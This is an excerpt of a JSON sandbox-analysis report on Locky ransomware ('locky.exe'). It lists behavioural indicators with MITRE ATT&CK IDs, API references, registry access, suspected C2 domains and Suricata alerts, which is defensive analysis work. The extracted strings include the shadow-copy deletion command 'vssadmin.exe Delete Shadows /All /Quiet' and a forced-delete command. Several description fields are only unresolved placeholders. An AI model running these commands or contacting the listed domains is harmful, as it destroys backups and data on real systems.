00000000-00008908.00000001.334926.00412000.00000002.mdmp","id":"string-179","level":"informative","mitre_attack_id":"T1114.001","name":"Found string that contains outlook file extensions .ost/.pst","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"\"locky.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","id":"registry-26","level":"informative","mitre_attack_id":"T1614.001","name":"Reads the windows installation language","origin":"Registry Access","relevance":2,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"}]},{"category":"Anti-Reverse Engineering","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"locky.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"locky.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"locky.exe\")","id":"string-148","level":"informative","mitre_attack_id":"T1622","name":"Contains ability to register a top-level exception handler (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Found reference to API \"ControlService\" (Indicator: \"ControlService\"; File: \"locky.exe\")","id":"string-192","level":"informative","mitre_attack_id":"T1543.003","name":"Contains ability to modify system service (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"Found string \"cmd.exe /C del /Q /F \"\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-174","level":"informative","mitre_attack_id":"T1059.003","name":"Contains ability to executes commands or batch file","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Observed import api \"GetEnvironmentVariable\" which can \"read the host's architecture\" [Source: 49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.bin]","id":"static-81","level":"informative","mitre_attack_id":"T1082","name":"Imports GetEnvironmentVariable API","origin":"Static Parser","relevance":1,"sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\".exe\" connecting to \"\\ThemeApiPort\"","id":"api-16","level":"informative","name":"Connects to LPC ports","origin":"API Call","relevance":1,"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"locky.exe\" writes file \"\\device\\namedpipe\\lsass\"","id":"api-242","level":"informative","name":"Writes files","origin":"API Call","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetLocaleInfoA\" (Indicator: \"GetLocaleInfo\"; File: \"locky.exe\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; File: \"locky.exe\")\n Found reference to API \"EnumSystemLocalesA\" (Indicator: \"EnumSystemLocales\"; File: \"locky.exe\")\n Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; File: \"locky.exe\")\n Found reference to API \"GetLocaleInfoA\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-201","level":"informative","mitre_attack_id":"T1614","name":"Contains ability to query system locale (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"GetVersion@KERNEL32.DLL at 00023888-00004036-20250-4-0040246C","id":"stream-3","level":"suspicious","name":"Contains ability to query the machine version","origin":"Hybrid Analysis Technology","relevance":1,"sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-426","level":"informative","mitre_attack_id":"T1222","name":"Contains ability to modify file attributes (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"RegDeleteKeyW\" (Indicator: \"RegDeleteKey\"; File: \"locky.exe\")\n Found reference to API \"RegDeleteValueW\" (Indicator: \"RegDeleteValue\"; File: \"locky.exe\")\n Found reference to API \"SHDeleteKeyW\" (Indicator: \"SHDeleteKey\"; File: \"locky.exe\")\n Found reference to API \"RegDeleteValueA\" (Indicator: \"RegDeleteValue\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-230","level":"informative","mitre_attack_id":"T1112","name":"Contains ability to delete registry key/value (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"System Security","description":"\"locky.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\5.0\\CACHE\\CONTENT\"; Key: \"CACHEPREFIX\"; Value: \"0000\")\n \"locky.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\5.0\\CACHE\\COOKIES\"; Key: \"CACHEPREFIX\"; Value: \"Cookie:\")\n \"locky.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\5.0\\CACHE\\HISTORY\"; Key: \"CACHEPREFIX\"; Value: \"Visited:\")","id":"registry-136","level":"suspicious","mitre_attack_id":"T1112","name":"Writes registry keys","origin":"Registry Access","relevance":3,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"locky.exe\" trying to access non-existent file \"C:\\WINDOWS\\system32\\rpcss.dll\"\n \"locky.exe\" trying to access non-existent file \"C:\\WININET.dll\"\n \"locky.exe\" trying to access non-existent file \"C:\\MPR.dll\"\n \"locky.exe\" trying to access non-existent file \"C:\\NETAPI32.dll\"\n \"locky.exe\" trying to access non-existent file \"C:\\SAMCLI.DLL\"\n \"locky.exe\" trying to access non-existent file \"C:\\DSROLE.DLL\"\n \"locky.exe\" trying to access non-existent file \"C:\\urlmon.dll\"\n \"locky.exe\" trying to access non-existent file \"C:\\iertutil.dll\"\n \"locky.exe\" trying to access non-existent file \"C:\\srvcli.dll\"\n \"locky.exe\" trying to access non-existent file \"C:\\netutils.dll\"\n \"locky.exe\" trying to access non-existent file \"C:\\CRYPTBASE.dll\"\n \"locky.exe\" trying to access non-existent file \"C:\\bcrypt.dll\"\n \"locky.exe\" trying to access non-existent file \"C:\\profapi.dll\"","id":"api-126","level":"informative","mitre_attack_id":"T1083","name":"Tries to access non-existent files (executable)","origin":"API Call","relevance":3,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"\"locky.exe\" failed to load missing module \"0x64bc6d21.d\" - [base:0; Status:ffffffffc0000135]","id":"api-22","level":"informative","mitre_attack_id":"T1574.002","name":"Fails to load modules at runtime","origin":"API Call","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Found reference to API \"RtlCompressBuffer\" (Indicator: \"RtlCompressBuffer\"; Source: \"00000000-00008908.00000001.334926.02190000.00000040.mdmp\")\n Found reference to API \"RtlDecompressBuffer\" (Indicator: \"RtlDecompressBuffer\"; Source: \"00000000-00008908.00000001.334926.02190000.00000040.mdmp\")","id":"string-404","level":"informative","mitre_attack_id":"T1560.002","name":"Contains ability to compress/decompress buffers (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"}]},{"category":"Network Related","description":"$31","id":"network-27","level":"malicious","name":"Multiple malicious artifacts seen in the context of different hosts","origin":"Network Traffic","relevance":10,"sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"category":"System Security","description":"Observed string: \"cmd.exe /C del /Q /F \"\" (Indicator: \"cmd.exe /c del\") in Source: 00000000-00008908.00000001.334926.00412000.00000002.mdmp, Observed string: \"cmd.exe /C del /Q /F \"\" (Indicator: \"/c del \") in Source: 00000000-00008908.00000001.334926.00412000.00000002.mdmp","id":"string-408","level":"informative","mitre_attack_id":"T1070.004","name":"Contains ability to delete files","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"StartServiceW\" (Indicator: \"StartService\"; File: \"locky.exe\")","id":"string-209","level":"informative","mitre_attack_id":"T1543.003","name":"Contains ability to start a service (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"locky.exe\")\n Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; File: \"locky.exe\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"locky.exe\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; File: \"locky.exe\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"locky.exe\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00008908.00000001.334926.02190000.00000040.mdmp\")","id":"string-318","level":"informative","mitre_attack_id":"T1055.001","name":"Contains ability to load/free library (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"\"locky.exe\" file has an entrypoint instructions - \"call\t0x4041db,jmp\t0x402af3,jmp\t0x4031d0,add\tdword ptr [eax], eax,pop\tes,add\teax, 0x70603,add\tal, byte ptr [edx],push\tes,pop\tes,add\tdword ptr [eax], eax,pop\tes,add\teax, 0x3070205,add\tbyte ptr [esi], al,add\teax, dword ptr [eax],push\tes,add\tdword ptr [edx], eax,push\tes,pop\tes,add\tal, byte ptr [esi],push\tes,add\tdword ptr [ebx], eax,add\teax, 0x7070706,add\tbyte ptr [edi], al,add\tal, byte ptr [0x6050404],add\teax, dword ptr [ebx],add\tal, 5,add\tbyte ptr [esi], al,pop\tes,add\teax, 0x4030404,push\tes,push\tes,add\tbyte ptr [ebx], al,add\tdword ptr [ecx], eax,add\teax, dword ptr [esp + eax],add\tal, byte ptr [edi],add\tal, byte ptr [ecx],add\tal, 5,add\teax, 0x5030205,add\teax, 0x7010705,\"","id":"static-96","level":"informative","name":"PE file entrypoint instructions","origin":"Static Parser","sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; File: \"locky.exe\")","id":"string-248","level":"informative","mitre_attack_id":"T1124","name":"Contains ability to retrieve machine timezone (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Network Related","description":"Heuristic match: \"Doubtsoftware.com\"\n Heuristic match: \"dkpxducupm.pl\"\n Heuristic match: \"ojyrskjou.su\"\n Heuristic match: \"tqhgdeagbjhmbpej.pw\"\n Heuristic match: \"vljmcamdvvejilwa.pw\"","id":"string-3","level":"informative","name":"Found potential URL in binary/memory","origin":"File/Memory","relevance":10,"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Network Related","description":"Contacted Domain: \"hvjblnqodcbrjvyjr.pw\" has been identified as malicious","id":"network-88","level":"malicious","mitre_attack_id":"T1566","name":"Application communicates with a malicious domain","origin":"Network Traffic","relevance":10,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"CreateProcessAsUserW\" (Indicator: \"CreateProcess\"; File: \"locky.exe\")\n Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; File: \"locky.exe\")\n Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-204","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to create a new process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains XOR operation loops [Stream disassembly]","id":"summary-32","level":"informative","mitre_attack_id":"T1140","name":"Shows ability to deobfuscate/decode files or information","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"WinHttpOpenRequest\" (Indicator: \"HttpOpenRequest\"; File: \"locky.exe\")\n Found reference to API \"HttpOpenRequestA\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-537","level":"informative","mitre_attack_id":"T1071","name":"Contains ability to create a new HTTP request (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"locky.exe\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-534","level":"informative","mitre_attack_id":"T1083","name":"Contains ability to read files (API string)","origin":"File/Memory","sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$32","id":"registry-177","level":"informative","mitre_attack_id":"T1012","name":"Opens registry keys","origin":"Registry Access","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"System Security","description":"\".exe\" opened \"\\Device\\KsecDD\"","id":"api-37","level":"informative","mitre_attack_id":"T1215","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","origin":"API Call","relevance":10,"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; File: \"locky.exe\")","id":"string-544","level":"informative","mitre_attack_id":"T1569.002","name":"Contains ability to open a service (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Ransomware/Banking","description":"Found string \"vssadmin.exe Delete Shadows /All /Quiet\" (Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-634","level":"suspicious","mitre_attack_id":"T1047","name":"Able to delete volume snapshots","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$33","id":"string-85","level":"informative","mitre_attack_id":"T1057","name":"Contains ability to enumerate process and/or its information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\".exe\" touched file \"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls\"\n \".exe\" touched file \"%WINDIR%\\System32\\rsaenh.dll\"\n \".exe\" touched file \"%APPDATA%\\Microsoft\\Windows\\Cookies\"\n \".exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\History\"\n \".exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat\"\n \".exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\"\n \".exe\" touched file \"%APPDATA%\\Microsoft\\Windows\\Cookies\"\n \".exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\History\"","id":"api-55","level":"informative","name":"Touches files in the Windows directory","origin":"API Call","relevance":7,"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"General","description":"$34","id":"api-175","level":"informative","mitre_attack_id":"T1129","name":"Calls an API typically used to load libraries","origin":"API Call","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$35","id":"api-126","level":"informative","mitre_attack_id":"T1083","name":"Tries to access non-existent files","origin":"API Call","relevance":3,"sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"locky.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","id":"registry-78","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to read software policies","origin":"Registry Access","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; File: \"locky.exe\")","id":"string-220","level":"informative","mitre_attack_id":"T1543.003","name":"Contains ability to create/control drivers (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: Contains ability to create a new HTTP request (API string)\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Found potential URLs in memory dumps\n Matched sigs: Calls an API typically used to create a HTTP or FTP session\n Matched sigs: Calls an API typically used to create a new HTTP request\n Matched sigs: Contacts server\n Matched sigs: Contains ability to communicate with network (API string)\n Matched sigs: Contains ability to create a HTTP or FTP session (API string)\n Matched sigs: Spawned process connects to a network","id":"summary-31","level":"informative","mitre_attack_id":"T1573.001","name":"Shows ability to use encryption for command and control traffic","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"locky.exe\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; File: \"locky.exe\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-308","level":"informative","mitre_attack_id":"T1070.004","name":"Contains ability to delete files/directories (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"System Security","description":"Observed api string:\"AdjustTokenPrivileges\" [Source: 49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.bin]","id":"string-77","level":"informative","mitre_attack_id":"T1134","name":"Contains ability to enable or disable privileges in the specified access token (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"locky.exe\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")\n Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThreadToken\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-306","level":"informative","mitre_attack_id":"T1134.001","name":"Contains ability to impersonate access tokens (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"\".exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")","id":"registry-29","level":"suspicious","mitre_attack_id":"T1012","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","origin":"Registry Access","relevance":3,"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"category":"External Systems","description":"Detected alert \"ET DNS Query for .su TLD (Soviet Union) Often Malware Related\" (SID: 2014169, Rev: 1, Severity: 2) categorized as \"Potentially Bad Traffic\"\n Detected alert \"ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1\" (SID: 2018358, Rev: 7, Severity: 2) categorized as \"Potentially Bad Traffic\"","id":"suricata-1","level":"suspicious","name":"Detected Emerging Threats Alert","origin":"Suricata Alerts","relevance":10,"sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"locky.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"locky.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-247","level":"informative","mitre_attack_id":"T1124","name":"Contains ability to retrieve machine time (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"$36","id":"string-101","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to execute Windows APIs","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"\"hbmpdhxx.pw\"\n \"hvjblnqodcbrjvyjr.pw\"\n \"iwyprfiv.info\"\n \"jgmpyhohie.su\"\n \"rydaffppgakbts.su\"","id":"network-51","level":"informative","mitre_attack_id":"T1071.004","name":"Queries DNS server","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"category":"External Systems","description":"Detected alert \"ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1\" (SID: 2018358, Rev: 9, Severity: 2) categorized as \"Potentially Bad Traffic\"\n Detected alert \"ET INFO Observed DNS Query to .work TLD\" (SID: 2027868, Rev: 3, Severity: 2) categorized as \"Potentially Bad Traffic\"\n Detected alert \"ET DNS Query for .su TLD (Soviet Union) Often Malware Related\" (SID: 2014169, Rev: 3, Severity: 2) categorized as \"Potentially Bad Traffic\"\n Detected alert \"ET DNS Query to a *.pw domain - Likely Hostile\" (SID: 2016778, Rev: 6, Severity: 2) categorized as \"Potentially Bad Traffic\"","id":"suricata-1","level":"suspicious","name":"Detected Suricata Alert","origin":"Suricata Alerts","relevance":10,"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetVersion\" (Indicator: \"GetVersion\"; File: \"locky.exe\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; File: \"locky.exe\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; File: \"locky.exe\")\n Found reference to API \"GetVersionExA\" (Indicator: \"GetVersionExA\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")\n Found reference to API \"GetVersionExA\" (Indicator: \"GetVersion\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-171","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve the OS information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$37","id":"api-263","level":"informative","mitre_attack_id":"T1083","name":"Touches files","origin":"API Call","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; File: \"locky.exe\")","id":"string-115","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve data about the local computer (API string)","origin":"File/Memory","relevance":3,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"General","description":"\"locky.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"","id":"static-157","level":"informative","mitre_attack_id":"T1027","name":"Matched Compiler/Packer signature (DIE)","origin":"Static Parser","sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"InternetQueryOptionA\" (Indicator: \"InternetQueryOption\"; Source: \"00000000-00008908.00000001.334926.00412000.00000002.mdmp\")","id":"string-314","level":"informative","mitre_attack_id":"T1016","name":"Contains ability to retrieve internet settings (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GlobalMemoryStatus\" (Indicator: \"GlobalMemoryStatus\"; File: \"locky.exe\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpace\"; File: \"locky.exe\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpace\"; Source: 